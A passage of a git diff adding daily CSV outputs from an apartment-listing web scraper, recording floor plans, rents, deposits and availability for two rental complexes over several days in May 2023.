2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230514,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230514,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230514,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230514,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230514,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230514,modera,S01,Studio / 1 ba,"Starting from $1,999/month",$300,477+,/,"Available May 19, 2023" +20230514,modera,S01L,Studio / 1 ba,"Starting from $2,682/month",$300,641+,/,Only One Left! +20230514,modera,S02,Studio / 1 ba,"Starting from $2,135/month",$300,498+,/,"Available May 19, 2023" +20230514,modera,A01,1 bd/1 ba,"Starting from $2,090/month",$300,531,/,"Available Jun 11, 2023" +20230514,modera,A09,1 bd/1 ba,"$2,345/month",$300,640,/,Only One Left! +20230514,modera,A10,1 bd/1 ba,"$2,645/month",$300,672+,/,"Available May 18, 2023" +20230514,modera,A16D,1 bd/1 ba,"Starting from $2,534/month",$300,882,/,Only One Left! +20230514,modera,B02,2 bd/2 ba,"Starting from $3,152/month",$300,989+,/,"Available Jun 08, 2023" +20230514,modera,B03,2 bd/2 ba,"Starting from $3,397/month",$300,"1,039+",/,"Available May 20, 2023" +20230514,modera,B07,2 bd/2 ba,"Starting from $3,482/month",$300,"1,233",/,"Available May 24, 2023" +20230514,modera,S01L,Studio / 1 ba,"Starting from $2,682/month",$300,641+,/,Only One Left! diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230515.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230515.csv new file mode 100644 index 00000000000..5e235c46b72 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230515.csv @@ -0,0 +1,56 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230515,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230515,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230515,talisman,A10 (1x1),1 Bed 1 Bath,"$2,382",$300,578 - 665 sq.ft.,None,N/A +20230515,talisman,A1 (1x1),1 Bed 1 Bath,"$2,392",$300,604 - 671 sq.ft.,None,N/A +20230515,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230515,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230515,talisman,A2 (1x1),1 Bed 1 Bath,"$2,372",$300,617 - 715 sq.ft.,None,N/A +20230515,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230515,talisman,A6 (1x1),1 Bed 1 Bath,"$2,392",$300,650 sq.ft.,None,N/A +20230515,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230515,talisman,B5 (1x1),1 Bed 1 Bath,"$2,548",$300,674 - 775 sq.ft.,None,N/A +20230515,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230515,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230515,talisman,A5 (1x1),1 Bed 1 Bath,"$2,512",$300,734 - 739 sq.ft.,None,N/A +20230515,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230515,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230515,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230515,talisman,AL2 (1x1),1 Bed 1 Bath,"$3,171",$300,785 - 852 sq.ft.,None,N/A +20230515,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230515,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230515,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230515,talisman,BL5 (1x1),1 Bed 1 Bath,"$3,281",$300,906 - 930 sq.ft.,None,N/A +20230515,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230515,talisman,BL2 (2x2),2 Bed 2 Bath,"$3,326",$300,883 - 888 sq.ft.,None,N/A +20230515,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230515,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,401",$300,890 - 945 sq.ft.,None,N/A +20230515,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230515,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230515,talisman,C3 (2x2),2 Bed 2 Bath,"$3,353",$300,1010 - 1103 sq.ft.,None,N/A +20230515,talisman,C1 (2x2),2 Bed 2 Bath,"$3,648",$300,1029 - 1294 sq.ft.,None,N/A +20230515,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230515,talisman,C7 (2x2),2 Bed 2 Bath,"$3,398",$300,1074 - 1131 sq.ft.,None,N/A +20230515,talisman,CL5 (2x2),2 Bed 2 Bath,ContactUs,$300,1140 - 1185 sq.ft.,None,N/A +20230515,talisman,C8 (2x2),2 Bed 2 Bath,"$3,498",$300,1155 sq.ft.,None,N/A +20230515,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230515,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230515,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,691",$300,1228 - 1296 sq.ft.,None,N/A +20230515,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230515,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230515,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230515,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230515,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230515,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230515,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230515,modera,S01,Studio / 1 ba,"Starting from $1,999/month",$300,477+,/,"Available May 19, 2023" +20230515,modera,S01L,Studio / 1 ba,"Starting from $2,682/month",$300,641+,/,Only One Left! +20230515,modera,S02,Studio / 1 ba,"Starting from $2,135/month",$300,498+,/,"Available May 19, 2023" +20230515,modera,A01,1 bd/1 ba,"Starting from $2,090/month",$300,531,/,"Available Jun 11, 2023" +20230515,modera,A09,1 bd/1 ba,"$2,345/month",$300,640,/,Only One Left! +20230515,modera,A10,1 bd/1 ba,"$2,645/month",$300,672+,/,"Available May 18, 2023" +20230515,modera,A16D,1 bd/1 ba,"Starting from $2,534/month",$300,882,/,Only One Left! +20230515,modera,B02,2 bd/2 ba,"Starting from $3,152/month",$300,989+,/,"Available Jun 08, 2023" +20230515,modera,B03,2 bd/2 ba,"Starting from $3,397/month",$300,"1,039+",/,"Available May 20, 2023" +20230515,modera,B07,2 bd/2 ba,"Starting from $3,482/month",$300,"1,233",/,"Available May 24, 2023" +20230515,modera,S01L,Studio / 1 ba,"Starting from $2,682/month",$300,641+,/,Only One Left! diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230516.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230516.csv new file mode 100644 index 00000000000..6098f1c89dc --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230516.csv @@ -0,0 +1,56 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230516,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230516,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230516,talisman,A10 (1x1),1 Bed 1 Bath,"$2,382",$300,578 - 665 sq.ft.,None,N/A +20230516,talisman,A1 (1x1),1 Bed 1 Bath,"$2,392",$300,604 - 671 sq.ft.,None,N/A +20230516,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230516,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230516,talisman,A2 (1x1),1 Bed 1 Bath,"$2,372",$300,617 - 715 sq.ft.,None,N/A +20230516,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230516,talisman,A6 (1x1),1 Bed 1 Bath,"$2,392",$300,650 sq.ft.,None,N/A +20230516,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230516,talisman,B5 (1x1),1 Bed 1 Bath,"$2,548",$300,674 - 775 sq.ft.,None,N/A +20230516,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230516,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230516,talisman,A5 (1x1),1 Bed 1 Bath,"$2,512",$300,734 - 739 sq.ft.,None,N/A +20230516,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230516,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230516,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230516,talisman,AL2 (1x1),1 Bed 1 Bath,"$3,320",$300,785 - 852 sq.ft.,None,N/A +20230516,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230516,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230516,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230516,talisman,BL5 (1x1),1 Bed 1 Bath,"$3,430",$300,906 - 930 sq.ft.,None,N/A +20230516,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230516,talisman,BL2 (2x2),2 Bed 2 Bath,"$3,475",$300,883 - 888 sq.ft.,None,N/A +20230516,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230516,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,550",$300,890 - 945 sq.ft.,None,N/A +20230516,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230516,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230516,talisman,C3 (2x2),2 Bed 2 Bath,"$3,524",$300,1010 - 1103 sq.ft.,None,N/A +20230516,talisman,C1 (2x2),2 Bed 2 Bath,"$3,819",$300,1029 - 1294 sq.ft.,None,N/A +20230516,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230516,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230516,talisman,CL5 (2x2),2 Bed 2 Bath,ContactUs,$300,1140 - 1185 sq.ft.,None,N/A +20230516,talisman,C8 (2x2),2 Bed 2 Bath,"$3,669",$300,1155 sq.ft.,None,N/A +20230516,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230516,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230516,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,840",$300,1228 - 1296 sq.ft.,None,N/A +20230516,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230516,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230516,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230516,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230516,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230516,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230516,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230516,modera,S01,Studio / 1 ba,"Starting from $1,999/month",$300,477+,/,"Available May 19, 2023" +20230516,modera,S01L,Studio / 1 ba,"Starting from $2,682/month",$300,641+,/,Only One Left! +20230516,modera,S02,Studio / 1 ba,"Starting from $2,135/month",$300,498+,/,"Available May 19, 2023" +20230516,modera,A01,1 bd/1 ba,"Starting from $2,090/month",$300,531,/,"Available Jun 11, 2023" +20230516,modera,A05,1 bd/1 ba,"Starting from $2,210/month",$300,596,/,"Available Jun 15, 2023" +20230516,modera,A09,1 bd/1 ba,"Starting from $2,345/month",$300,640,/,Only One Left! +20230516,modera,A10,1 bd/1 ba,"Starting from $2,460/month",$300,672+,/,"Available May 18, 2023" +20230516,modera,B02,2 bd/2 ba,"Starting from $3,149/month",$300,989+,/,"Available Jun 08, 2023" +20230516,modera,B03,2 bd/2 ba,"Starting from $3,394/month",$300,"1,039+",/,"Available May 20, 2023" +20230516,modera,B07,2 bd/2 ba,"Starting from $3,479/month",$300,"1,233",/,"Available May 24, 2023" +20230516,modera,S01L,Studio / 1 ba,"Starting from $2,682/month",$300,641+,/,Only One Left! diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230517.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230517.csv new file mode 100644 index 00000000000..b6cc0cfe920 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230517.csv @@ -0,0 +1,57 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230517,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230517,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230517,talisman,A10 (1x1),1 Bed 1 Bath,"$2,382",$300,578 - 665 sq.ft.,None,N/A +20230517,talisman,A1 (1x1),1 Bed 1 Bath,"$2,392",$300,604 - 671 sq.ft.,None,N/A +20230517,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230517,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230517,talisman,A2 (1x1),1 Bed 1 Bath,"$2,372",$300,617 - 715 sq.ft.,None,N/A +20230517,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230517,talisman,A6 (1x1),1 Bed 1 Bath,"$2,392",$300,650 sq.ft.,None,N/A +20230517,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230517,talisman,B5 (1x1),1 Bed 1 Bath,"$2,554",$300,674 - 775 sq.ft.,None,N/A +20230517,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230517,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230517,talisman,A5 (1x1),1 Bed 1 Bath,"$2,512",$300,734 - 739 sq.ft.,None,N/A +20230517,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230517,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230517,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230517,talisman,AL2 (1x1),1 Bed 1 Bath,"$3,320",$300,785 - 852 sq.ft.,None,N/A +20230517,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230517,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230517,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230517,talisman,BL5 (1x1),1 Bed 1 Bath,"$3,430",$300,906 - 930 sq.ft.,None,N/A +20230517,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230517,talisman,BL2 (2x2),2 Bed 2 Bath,"$3,475",$300,883 - 888 sq.ft.,None,N/A +20230517,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230517,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,550",$300,890 - 945 sq.ft.,None,N/A +20230517,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230517,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230517,talisman,C3 (2x2),2 Bed 2 Bath,"$3,707",$300,1010 - 1103 sq.ft.,None,N/A +20230517,talisman,C1 (2x2),2 Bed 2 Bath,"$4,002",$300,1029 - 1294 sq.ft.,None,N/A +20230517,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230517,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230517,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,740",$300,1140 - 1185 sq.ft.,None,N/A +20230517,talisman,C8 (2x2),2 Bed 2 Bath,"$3,852",$300,1155 sq.ft.,None,N/A +20230517,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230517,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230517,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,840",$300,1228 - 1296 sq.ft.,None,N/A +20230517,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230517,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230517,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230517,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230517,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230517,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230517,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230517,modera,S01,Studio / 1 ba,"Starting from $1,999/month",$300,477+,/,"Available May 19, 2023" +20230517,modera,S01L,Studio / 1 ba,"Starting from $2,682/month",$300,641+,/,Only One Left! +20230517,modera,S02,Studio / 1 ba,"Starting from $2,135/month",$300,498+,/,"Available May 19, 2023" +20230517,modera,A01,1 bd/1 ba,"Starting from $2,090/month",$300,531,/,"Available Jun 11, 2023" +20230517,modera,A05,1 bd/1 ba,"Starting from $2,210/month",$300,596,/,"Available Jun 15, 2023" +20230517,modera,A09,1 bd/1 ba,"Starting from $2,345/month",$300,640,/,Only One Left! +20230517,modera,A10,1 bd/1 ba,"Starting from $2,460/month",$300,672+,/,"Available May 18, 2023" +20230517,modera,A13D,1 bd/1 ba,"Starting from $2,796/month",$300,751,/,"Available Jun 09, 2023" +20230517,modera,B02,2 bd/2 ba,"Starting from $3,149/month",$300,989+,/,"Available Jun 08, 2023" +20230517,modera,B03,2 bd/2 ba,"Starting from $3,394/month",$300,"1,039+",/,"Available May 20, 2023" +20230517,modera,B07,2 bd/2 ba,"Starting from $3,479/month",$300,"1,233",/,"Available May 24, 2023" +20230517,modera,S01L,Studio / 1 ba,"Starting from $2,682/month",$300,641+,/,Only One Left! diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230518.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230518.csv new file mode 100644 index 00000000000..31e85da98a7 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230518.csv @@ -0,0 +1,57 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230518,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230518,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230518,talisman,A10 (1x1),1 Bed 1 Bath,"$2,382",$300,578 - 665 sq.ft.,None,N/A +20230518,talisman,A1 (1x1),1 Bed 1 Bath,"$2,392",$300,604 - 671 sq.ft.,None,N/A +20230518,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230518,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230518,talisman,A2 (1x1),1 Bed 1 Bath,"$2,372",$300,617 - 715 sq.ft.,None,N/A +20230518,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230518,talisman,A6 (1x1),1 Bed 1 Bath,"$2,392",$300,650 sq.ft.,None,N/A +20230518,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230518,talisman,B5 (1x1),1 Bed 1 Bath,"$2,554",$300,674 - 775 sq.ft.,None,N/A +20230518,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230518,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230518,talisman,A5 (1x1),1 Bed 1 Bath,"$2,512",$300,734 - 739 sq.ft.,None,N/A +20230518,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230518,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230518,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230518,talisman,AL2 (1x1),1 Bed 1 Bath,"$3,320",$300,785 - 852 sq.ft.,None,N/A +20230518,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230518,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230518,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230518,talisman,BL5 (1x1),1 Bed 1 Bath,"$3,430",$300,906 - 930 sq.ft.,None,N/A +20230518,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230518,talisman,BL2 (2x2),2 Bed 2 Bath,"$3,475",$300,883 - 888 sq.ft.,None,N/A +20230518,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230518,talisman,CL6 (2x2),2 Bed 2 Bath,"$3,550",$300,890 - 945 sq.ft.,None,N/A +20230518,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230518,talisman,C5 (2x2),2 Bed 2 Bath,ContactUs,$300,934 - 984 sq.ft.,None,N/A +20230518,talisman,C3 (2x2),2 Bed 2 Bath,"$3,904",$300,1010 - 1103 sq.ft.,None,N/A +20230518,talisman,C1 (2x2),2 Bed 2 Bath,"$4,199",$300,1029 - 1294 sq.ft.,None,N/A +20230518,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230518,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230518,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,740",$300,1140 - 1185 sq.ft.,None,N/A +20230518,talisman,C8 (2x2),2 Bed 2 Bath,"$4,049",$300,1155 sq.ft.,None,N/A +20230518,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230518,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230518,talisman,CL3 (2x2),2 Bed 2 Bath,"$3,840",$300,1228 - 1296 sq.ft.,None,N/A +20230518,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230518,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230518,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230518,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230518,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230518,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230518,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A +20230518,modera,S01,Studio / 1 ba,"Starting from $1,999/month",$300,477+,/,"Available May 19, 2023" +20230518,modera,S01L,Studio / 1 ba,"Starting from $2,682/month",$300,641+,/,Only One Left! +20230518,modera,S02,Studio / 1 ba,"Starting from $2,135/month",$300,498+,/,"Available May 19, 2023" +20230518,modera,A01,1 bd/1 ba,"Starting from $2,090/month",$300,531,/,"Available Jun 11, 2023" +20230518,modera,A05,1 bd/1 ba,"Starting from $2,210/month",$300,596,/,"Available Jun 15, 2023" +20230518,modera,A09,1 bd/1 ba,"Starting from $2,345/month",$300,640,/,Only One Left! +20230518,modera,A10,1 bd/1 ba,"Starting from $2,460/month",$300,672+,/,Only One Left! +20230518,modera,A13D,1 bd/1 ba,"Starting from $2,796/month",$300,751,/,"Available Jun 09, 2023" +20230518,modera,B02,2 bd/2 ba,"Starting from $3,169/month",$300,989+,/,"Available Jun 08, 2023" +20230518,modera,B03,2 bd/2 ba,"Starting from $3,414/month",$300,"1,039+",/,"Available May 20, 2023" +20230518,modera,B07,2 bd/2 ba,"Starting from $3,499/month",$300,"1,233",/,"Available May 24, 2023" +20230518,modera,S01L,Studio / 1 ba,"Starting from $2,682/month",$300,641+,/,Only One Left! diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230519.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230519.csv new file mode 100644 index 00000000000..688cba4a2f5 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230519.csv @@ -0,0 +1,57 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230519,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230519,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230519,talisman,A10 (1x1),1 Bed 1 Bath,"$2,327",$300,578 - 665 sq.ft.,None,N/A +20230519,talisman,A1 (1x1),1 Bed 1 Bath,"$2,392",$300,604 - 671 sq.ft.,None,N/A +20230519,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230519,talisman,A3 (1x1),1 Bed 1 Bath,ContactUs,$300,609 - 642 sq.ft.,None,N/A +20230519,talisman,A2 (1x1),1 Bed 1 Bath,"$2,372",$300,617 - 715 sq.ft.,None,N/A +20230519,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230519,talisman,A6 (1x1),1 Bed 1 Bath,"$2,392",$300,650 sq.ft.,None,N/A +20230519,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230519,talisman,B5 (1x1),1 Bed 1 Bath,"$2,554",$300,674 - 775 sq.ft.,None,N/A +20230519,talisman,B2 (1x1),1 Bed 1 Bath,ContactUs,$300,706 - 739 sq.ft.,None,N/A +20230519,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230519,talisman,A5 (1x1),1 Bed 1 Bath,"$2,512",$300,734 - 739 sq.ft.,None,N/A +20230519,talisman,AL1 (1x1),1 Bed 1 Bath,ContactUs,$300,745 - 828 sq.ft.,None,N/A +20230519,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230519,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230519,talisman,AL2 